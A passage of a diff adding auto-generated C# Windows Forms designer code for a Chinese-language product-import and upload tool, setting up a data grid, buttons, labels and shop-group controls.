System.Windows.Forms.DockStyle.Fill; + this.flpQualification.FlowDirection = System.Windows.Forms.FlowDirection.TopDown; + this.flpQualification.Location = new System.Drawing.Point(3, 38); + this.flpQualification.Name = "flpQualification"; + this.flpQualification.Size = new System.Drawing.Size(116, 0); + this.flpQualification.TabIndex = 0; + // + // splitContainer3 + // + this.splitContainer3.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer3.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.dataGridView1); + // + // splitContainer3.Panel2 + // + this.splitContainer3.Panel2.BackColor = System.Drawing.Color.White; + this.splitContainer3.Panel2.Controls.Add(this.btnCatchWords); + this.splitContainer3.Panel2.Controls.Add(this.lklbResetShop); + this.splitContainer3.Panel2.Controls.Add(this.cmbGetCatShop); + this.splitContainer3.Panel2.Controls.Add(this.label6); + this.splitContainer3.Panel2.Controls.Add(this.pnlShowOriginal); + this.splitContainer3.Panel2.Controls.Add(this.pnlShowCategoryList); + this.splitContainer3.Panel2.Controls.Add(this.buttonMeituPath); + this.splitContainer3.Panel2.Controls.Add(this.addToDBBtn); + this.splitContainer3.Panel2.Controls.Add(this.updateBtn); + this.splitContainer3.Panel2.Controls.Add(this.pbPaste); + this.splitContainer3.Panel2.Controls.Add(this.lklbChangeCatId); + this.splitContainer3.Panel2.Controls.Add(this.SourceTitlelabel); + this.splitContainer3.Panel2.Controls.Add(this.txtTitle); + this.splitContainer3.Panel2.Controls.Add(this.lblFromUrl); + this.splitContainer3.Panel2.Controls.Add(this.lblCategory); + this.splitContainer3.Panel2.Controls.Add(this.label9); + this.splitContainer3.Panel2.Controls.Add(this.importFileBtn); + this.splitContainer3.Panel2.Controls.Add(this.freePostLabel); + this.splitContainer3.Panel2.Controls.Add(this.importURLtextBox); + this.splitContainer3.Panel2.Controls.Add(this.label8); + this.splitContainer3.Panel2.Controls.Add(this.LastURLBtn); + this.splitContainer3.Panel2.Controls.Add(this.sourceLabel); + this.splitContainer3.Panel2.Controls.Add(this.NextURLBtn); + this.splitContainer3.Panel2.Controls.Add(this.label7); + this.splitContainer3.Panel2.Controls.Add(this.priceLabel); + this.splitContainer3.Panel2.Controls.Add(this.priceLabel1); + this.splitContainer3.Panel2.Controls.Add(this.label5); + this.splitContainer3.Panel2.Controls.Add(this.pnlAddShopFlag); + this.splitContainer3.Panel2.Controls.Add(this.cmbShopFlag); + this.splitContainer3.Panel2.Controls.Add(this.pnlCancelShopFlag); + this.splitContainer3.Panel2.Controls.Add(this.pnlSaveShopFlag); + this.splitContainer3.Panel2.Controls.Add(this.txtNewShopFlag); + this.splitContainer3.Panel2.Controls.Add(this.label2); + this.splitContainer3.Panel2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.splitContainer3.Panel2.Margin = new System.Windows.Forms.Padding(10); + this.splitContainer3.Size = new System.Drawing.Size(1364, 197); + this.splitContainer3.SplitterDistance = 520; + this.splitContainer3.TabIndex = 0; + // + // dataGridView1 + // + this.dataGridView1.AllowUserToAddRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(249)))), ((int)(((byte)(249)))), ((int)(((byte)(249))))); + this.dataGridView1.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dataGridView1.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.dataGridView1.BackgroundColor = System.Drawing.Color.White; + this.dataGridView1.BorderColor = System.Drawing.Color.Transparent; + this.dataGridView1.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dataGridView1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dataGridView1.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.id, + this.colDbId, + this.colProductId, + this.ColProName, + this.status, + this.colRemove, + this.colDelete}); + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle4.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle4.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dataGridView1.DefaultCellStyle = dataGridViewCellStyle4; + this.dataGridView1.Dock = System.Windows.Forms.DockStyle.Fill; + this.dataGridView1.EnableHeadersVisualStyles = false; + this.dataGridView1.GridColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(215)))), ((int)(((byte)(229))))); + this.dataGridView1.Location = new System.Drawing.Point(0, 0); + this.dataGridView1.MultiSelect = false; + this.dataGridView1.Name = "dataGridView1"; + dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle5.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle5.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle5.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle5.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle5.SelectionForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle5.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridView1.RowHeadersDefaultCellStyle = dataGridViewCellStyle5; + this.dataGridView1.RowTemplate.Height = 23; + this.dataGridView1.Size = new System.Drawing.Size(518, 195); + this.dataGridView1.TabIndex = 0; + this.dataGridView1.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView1_CellClick); + this.dataGridView1.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView1_CellContentClick); + this.dataGridView1.RowsAdded += new System.Windows.Forms.DataGridViewRowsAddedEventHandler(this.dataGridView1_RowsAdded); + // + // id + // + this.id.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.id.FillWeight = 15F; + this.id.Frozen = true; + this.id.HeaderText = "ID"; + this.id.Name = "id"; + this.id.ReadOnly = true; + this.id.Width = 45; + // + // colDbId + // + this.colDbId.HeaderText = "数据库Id"; + this.colDbId.Name = "colDbId"; + this.colDbId.Visible = false; + // + // colProductId + // + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + this.colProductId.DefaultCellStyle = dataGridViewCellStyle3; + this.colProductId.FillWeight = 50F; + this.colProductId.HeaderText = "宝贝ID"; + this.colProductId.Name = "colProductId"; + this.colProductId.ReadOnly = true; + this.colProductId.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colProductId.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + // + // ColProName + // + this.ColProName.FillWeight = 10F; + this.ColProName.HeaderText = "关键词"; + this.ColProName.Name = "ColProName"; + this.ColProName.ReadOnly = true; + this.ColProName.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // status + // + this.status.FillWeight = 8F; + this.status.HeaderText = "状态"; + this.status.Name = "status"; + this.status.ReadOnly = true; + this.status.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // colRemove + // + this.colRemove.FillWeight = 5F; + this.colRemove.HeaderText = "移除"; + this.colRemove.Name = "colRemove"; + // + // colDelete + // + this.colDelete.FillWeight = 12F; + this.colDelete.HeaderText = "删除"; + this.colDelete.Name = "colDelete"; + this.colDelete.Resizable = System.Windows.Forms.DataGridViewTriState.True; + // + // btnCatchWords + // + this.btnCatchWords.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(67)))), ((int)(((byte)(163)))), ((int)(((byte)(219))))); + this.btnCatchWords.FlatAppearance.BorderSize = 0; + this.btnCatchWords.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnCatchWords.Font = new System.Drawing.Font("新宋体", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnCatchWords.ForeColor = System.Drawing.Color.White; + this.btnCatchWords.Location = new System.Drawing.Point(6, 116); + this.btnCatchWords.Name = "btnCatchWords"; + this.btnCatchWords.Size = new System.Drawing.Size(110, 23); + this.btnCatchWords.TabIndex = 139; + this.btnCatchWords.Text = "取词工具"; + this.btnCatchWords.UseVisualStyleBackColor = false; + this.btnCatchWords.Visible = false; + this.btnCatchWords.Click += new System.EventHandler(this.btnCatchWords_Click); + // + // lklbResetShop + // + this.lklbResetShop.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.lklbResetShop.AutoSize = true; + this.lklbResetShop.Location = new System.Drawing.Point(709, 67); + this.lklbResetShop.Name = "lklbResetShop"; + this.lklbResetShop.Size = new System.Drawing.Size(56, 17); + this.lklbResetShop.TabIndex = 126; + this.lklbResetShop.TabStop = true; + this.lklbResetShop.Text = "刷新店铺"; + this.lklbResetShop.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.lklbResetShop_LinkClicked); + // + // cmbGetCatShop + // + this.cmbGetCatShop.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.cmbGetCatShop.DisplayMember = "Text"; + this.cmbGetCatShop.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbGetCatShop.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbGetCatShop.FormattingEnabled = true; + this.cmbGetCatShop.ItemHeight = 18; + this.cmbGetCatShop.Location = new System.Drawing.Point(457, 63); + this.cmbGetCatShop.Name = "cmbGetCatShop"; + this.cmbGetCatShop.Size = new System.Drawing.Size(250, 24); + this.cmbGetCatShop.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbGetCatShop.TabIndex = 113; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(346, 67); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(116, 17); + this.label6.TabIndex = 112; + this.label6.Text = "指定类目识别店铺:"; + // + // pnlShowOriginal + // + this.pnlShowOriginal.Controls.Add(this.btnShowOriginal); + this.pnlShowOriginal.Controls.Add(this.label4); + this.pnlShowOriginal.Location = new System.Drawing.Point(221, 161); + this.pnlShowOriginal.Name = "pnlShowOriginal"; + this.pnlShowOriginal.Size = new System.Drawing.Size(294, 32); + this.pnlShowOriginal.TabIndex = 98; + this.pnlShowOriginal.Visible = false; + // + // btnShowOriginal + // + this.btnShowOriginal.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(67)))), ((int)(((byte)(163)))), ((int)(((byte)(219))))); + this.btnShowOriginal.FlatAppearance.BorderSize = 0; + this.btnShowOriginal.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnShowOriginal.Font = new System.Drawing.Font("新宋体", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnShowOriginal.ForeColor = System.Drawing.Color.White; + this.btnShowOriginal.Location = new System.Drawing.Point(176, 6); + this.btnShowOriginal.Name = "btnShowOriginal"; + this.btnShowOriginal.Size = new System.Drawing.Size(95, 23); + this.btnShowOriginal.TabIndex = 96; + this.btnShowOriginal.Tag = ""; + this.btnShowOriginal.Text = "查看来源商品"; + this.btnShowOriginal.UseVisualStyleBackColor = false; + this.btnShowOriginal.Click += new System.EventHandler(this.btnShowOriginal_Click); + // + // label4 + // + this.label4.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(26, 9); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(152, 17); + this.label4.TabIndex = 97; + this.label4.Text = "此商品为数据库商品,可以"; + // + // pnlShowCategoryList + // + this.pnlShowCategoryList.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlShowCategoryList.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlShowCategoryList.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlShowCategoryList.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlShowCategoryList.Location = new System.Drawing.Point(421, 39); + this.pnlShowCategoryList.Name = "pnlShowCategoryList"; + this.pnlShowCategoryList.Size = new System.Drawing.Size(16, 16); + this.pnlShowCategoryList.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlShowCategoryList.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.pnlShowCategoryList.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.pnlShowCategoryList.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlShowCategoryList.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.pnlShowCategoryList.Style.GradientAngle = 90; + this.pnlShowCategoryList.TabIndex = 83; + this.pnlShowCategoryList.Text = "▼"; + this.pnlShowCategoryList.Click += new System.EventHandler(this.pnlShowCategoryList_Click); + // + // buttonMeituPath + // + this.buttonMeituPath.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(67)))), ((int)(((byte)(163)))), ((int)(((byte)(219))))); + this.buttonMeituPath.FlatAppearance.BorderSize = 0; + this.buttonMeituPath.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.buttonMeituPath.Font = new System.Drawing.Font("新宋体", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.buttonMeituPath.ForeColor = System.Drawing.Color.White; + this.buttonMeituPath.Location = new System.Drawing.Point(6, 167); + this.buttonMeituPath.Name = "buttonMeituPath"; + this.buttonMeituPath.Size = new System.Drawing.Size(110, 23); + this.buttonMeituPath.TabIndex = 13; + this.buttonMeituPath.Text = "设置修图软件"; + this.buttonMeituPath.UseVisualStyleBackColor = false; + this.buttonMeituPath.Click += new System.EventHandler(this.buttonMeituPath_Click); + // + // addToDBBtn + // + this.addToDBBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.addToDBBtn.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(67)))), ((int)(((byte)(163)))), ((int)(((byte)(219))))); + this.addToDBBtn.Enabled = false; + this.addToDBBtn.FlatAppearance.BorderSize = 0; + this.addToDBBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.addToDBBtn.Font = new System.Drawing.Font("新宋体", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.addToDBBtn.ForeColor = System.Drawing.Color.White; + this.addToDBBtn.Location = new System.Drawing.Point(738, 141); + this.addToDBBtn.Name = "addToDBBtn"; + this.addToDBBtn.Size = new System.Drawing.Size(95, 23); + this.addToDBBtn.TabIndex = 16; + this.addToDBBtn.Text = "添加入库"; + this.addToDBBtn.UseVisualStyleBackColor = false; + this.addToDBBtn.Click += new System.EventHandler(this.addToDBBtn_Click); + // + // updateBtn + // + this.updateBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.updateBtn.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(67)))), ((int)(((byte)(163)))), ((int)(((byte)(219))))); + this.updateBtn.Enabled = false; + this.updateBtn.FlatAppearance.BorderSize = 0; + this.updateBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.updateBtn.Font = new System.Drawing.Font("新宋体", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.updateBtn.ForeColor = System.Drawing.Color.White; + this.updateBtn.Location = new System.Drawing.Point(738, 167); + this.updateBtn.Name = "updateBtn"; + this.updateBtn.Size = new System.Drawing.Size(95, 23); + this.updateBtn.TabIndex = 15; + this.updateBtn.Text = "提交上传"; + this.updateBtn.UseVisualStyleBackColor = false; + this.updateBtn.Click += new System.EventHandler(this.updateBtn_Click); + // + // pbPaste + // + this.pbPaste.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pbPaste.BackColor = System.Drawing.Color.White; + this.pbPaste.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.pbPaste.Cursor = System.Windows.Forms.Cursors.Hand; + this.pbPaste.Image = global::LittleRabbit.Properties.Resources.FullPaste; + this.pbPaste.Location = new System.Drawing.Point(811, 6); + this.pbPaste.Name = "pbPaste"; + this.pbPaste.Size = new System.Drawing.Size(22, 22); + this.pbPaste.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pbPaste.TabIndex = 47; + this.pbPaste.TabStop = false; + this.pbPaste.Click += new System.EventHandler(this.pbPaste_Click); + // + // lklbChangeCatId + // + this.lklbChangeCatId.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.lklbChangeCatId.AutoSize = true; + this.lklbChangeCatId.Location = new System.Drawing.Point(770, 67); + this.lklbChangeCatId.Name = "lklbChangeCatId"; + this.lklbChangeCatId.Size = new System.Drawing.Size(68, 17); + this.lklbChangeCatId.TabIndex = 48; + this.lklbChangeCatId.TabStop = true; + this.lklbChangeCatId.Text = "自定义分类"; + this.lklbChangeCatId.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.lklbChangeCatId_LinkClicked); + this.lklbChangeCatId.Click += new System.EventHandler(this.lklbChangeCatId_Click); + // + // SourceTitlelabel + // + this.SourceTitlelabel.Location = new System.Drawing.Point(393, 11); + this.SourceTitlelabel.Name = "SourceTitlelabel"; + this.SourceTitlelabel.Size = new System.Drawing.Size(408, 17); + this.SourceTitlelabel.TabIndex = 43; + this.SourceTitlelabel.TabStop = true; + this.SourceTitlelabel.Text = "originalTitle"; + this.SourceTitlelabel.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; + this.SourceTitlelabel.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SourceTitlelabel_LinkClicked); + // + // lblFromUrl + // + this.lblFromUrl.AutoSize = true; + this.lblFromUrl.Location = new System.Drawing.Point(326, 20); + this.lblFromUrl.Name = "lblFromUrl"; + this.lblFromUrl.Size = new System.Drawing.Size(0, 17); + this.lblFromUrl.TabIndex = 42; + this.lblFromUrl.Visible = false; + // + // lblCategory + // + this.lblCategory.AutoSize = true; + this.lblCategory.Location = new System.Drawing.Point(380, 39); + this.lblCategory.Name = "lblCategory"; + this.lblCategory.Size = new System.Drawing.Size(39, 17); + this.lblCategory.TabIndex = 30; + this.lblCategory.Text = "fenlei"; + this.lblCategory.SizeChanged += new System.EventHandler(this.categoryLabel_SizeChanged); + this.lblCategory.TextChanged += new System.EventHandler(this.lblCategory_TextChanged); + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(346, 39); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(44, 17); + this.label9.TabIndex = 29; + this.label9.Text = "分类:"; + // + // importFileBtn + // + this.importFileBtn.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(67)))), ((int)(((byte)(163)))), ((int)(((byte)(219))))); + this.importFileBtn.FlatAppearance.BorderSize = 0; + this.importFileBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.importFileBtn.Font = new System.Drawing.Font("新宋体", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.importFileBtn.ForeColor = System.Drawing.Color.White; + this.importFileBtn.Location = new System.Drawing.Point(6, 38); + this.importFileBtn.Name = "importFileBtn"; + this.importFileBtn.Size = new System.Drawing.Size(110, 23); + this.importFileBtn.TabIndex = 0; + this.importFileBtn.Text = "导入链接文件"; + this.importFileBtn.UseVisualStyleBackColor = false; + this.importFileBtn.Click += new System.EventHandler(this.importFileBtn_Click); + // + // freePostLabel + // + this.freePostLabel.AutoSize = true; + this.freePostLabel.Location = new System.Drawing.Point(614, 95); + this.freePostLabel.Name = "freePostLabel"; + this.freePostLabel.Size = new System.Drawing.Size(52, 17); + this.freePostLabel.TabIndex = 24; + this.freePostLabel.Text = "baoyou"; + // + // importURLtextBox + // + this.importURLtextBox.Font = new System.Drawing.Font("微软雅黑", 7.5F); + this.importURLtextBox.ForeColor = System.Drawing.SystemColors.WindowText; + this.importURLtextBox.Location = new System.Drawing.Point(6, 6); + this.importURLtextBox.Multiline = true; + this.importURLtextBox.Name = "importURLtextBox"; + this.importURLtextBox.ReadOnly = true; + this.importURLtextBox.Size = new System.Drawing.Size(335, 25); + this.importURLtextBox.TabIndex = 0; + this.importURLtextBox.WordWrap = false; + this.importURLtextBox.Click += new System.EventHandler(this.importURLtextBox_Click); + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(556, 95); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(68, 17); + this.label8.TabIndex = 23; + this.label8.Text = "是否包邮:"; + // + // LastURLBtn + // + this.LastURLBtn.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(67)))), ((int)(((byte)(163)))), ((int)(((byte)(219))))); + this.LastURLBtn.FlatAppearance.BorderSize = 0; + this.LastURLBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.LastURLBtn.Font = new System.Drawing.Font("新宋体", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.LastURLBtn.ForeColor = System.Drawing.Color.White; + this.LastURLBtn.Location = new System.Drawing.Point(6, 64); + this.LastURLBtn.Name = "LastURLBtn"; + this.LastURLBtn.Size = new System.Drawing.Size(110, 23); + this.LastURLBtn.TabIndex = 1; + this.LastURLBtn.Text = "切换到上一条"; + this.LastURLBtn.UseVisualStyleBackColor = false; + this.LastURLBtn.Click += new System.EventHandler(this.LastURLBtn_Click); + // + // sourceLabel + // + this.sourceLabel.AutoSize = true; + this.sourceLabel.Location = new System.Drawing.Point(478, 95); + this.sourceLabel.Name = "sourceLabel"; + this.sourceLabel.Size = new System.Drawing.Size(48, 17); + this.sourceLabel.TabIndex = 22; + this.sourceLabel.Text = "laiyuan"; + this.sourceLabel.Visible = false; + // + // NextURLBtn + // + this.NextURLBtn.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(67)))), ((int)(((byte)(163)))), ((int)(((byte)(219))))); + this.NextURLBtn.FlatAppearance.BorderSize = 0; + this.NextURLBtn.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.NextURLBtn.Font = new System.Drawing.Font("新宋体", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.NextURLBtn.ForeColor = System.Drawing.Color.White; + this.NextURLBtn.Location = new System.Drawing.Point(6, 90); + this.NextURLBtn.Name = "NextURLBtn"; + this.NextURLBtn.Size = new System.Drawing.Size(110, 23); + this.NextURLBtn.TabIndex = 2; + this.NextURLBtn.Text = "切换到下一条"; + this.NextURLBtn.UseVisualStyleBackColor = false; + this.NextURLBtn.Click += new System.EventHandler(this.NextURLBtn_Click); + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(444, 95); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(44, 17); + this.label7.TabIndex = 21; + this.label7.Text = "来源:"; + // + // priceLabel + // + this.priceLabel.AutoSize = true; + this.priceLabel.Location = new System.Drawing.Point(380, 95); + this.priceLabel.Name = "priceLabel"; + this.priceLabel.Size = new System.Drawing.Size(36, 17); + this.priceLabel.TabIndex = 20; + this.priceLabel.Text = "jiage"; + // + // priceLabel1 + // + this.priceLabel1.AutoSize = true; + this.priceLabel1.Location = new System.Drawing.Point(346, 95); + this.priceLabel1.Name = "priceLabel1"; + this.priceLabel1.Size = new System.Drawing.Size(44, 17); + this.priceLabel1.TabIndex = 19; + this.priceLabel1.Text = "价格:"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(346, 11); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(56, 17); + this.label5.TabIndex = 17; + this.label5.Text = "原标题:"; + // + // pnlAddShopFlag + // + this.pnlAddShopFlag.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlAddShopFlag.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlAddShopFlag.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlAddShopFlag.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlAddShopFlag.Location = new System.Drawing.Point(503, 120); + this.pnlAddShopFlag.Name = "pnlAddShopFlag"; + this.pnlAddShopFlag.Size = new System.Drawing.Size(57, 24); + this.pnlAddShopFlag.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlAddShopFlag.Style.BackColor1.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.pnlAddShopFlag.Style.BackColor2.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.pnlAddShopFlag.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlAddShopFlag.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlAddShopFlag.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlAddShopFlag.Style.GradientAngle = 90; + this.pnlAddShopFlag.TabIndex = 57; + this.pnlAddShopFlag.Text = "添加分组"; + this.pnlAddShopFlag.Click += new System.EventHandler(this.pnlAddShopFlag_Click); + // + // cmbShopFlag + // + this.cmbShopFlag.DisplayMember = "Text"; + this.cmbShopFlag.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; + this.cmbShopFlag.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbShopFlag.FormattingEnabled = true; + this.cmbShopFlag.ItemHeight = 18; + this.cmbShopFlag.Location = new System.Drawing.Point(388, 120); + this.cmbShopFlag.Name = "cmbShopFlag"; + this.cmbShopFlag.Size = new System.Drawing.Size(114, 24); + this.cmbShopFlag.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.cmbShopFlag.TabIndex = 56; + // + // pnlCancelShopFlag + // + this.pnlCancelShopFlag.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlCancelShopFlag.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlCancelShopFlag.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlCancelShopFlag.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlCancelShopFlag.Location = new System.Drawing.Point(676, 120); + this.pnlCancelShopFlag.Name = "pnlCancelShopFlag"; + this.pnlCancelShopFlag.Size = new System.Drawing.Size(31, 24); + this.pnlCancelShopFlag.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlCancelShopFlag.Style.BackColor1.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.pnlCancelShopFlag.Style.BackColor2.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.pnlCancelShopFlag.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlCancelShopFlag.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlCancelShopFlag.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlCancelShopFlag.Style.GradientAngle = 90; + 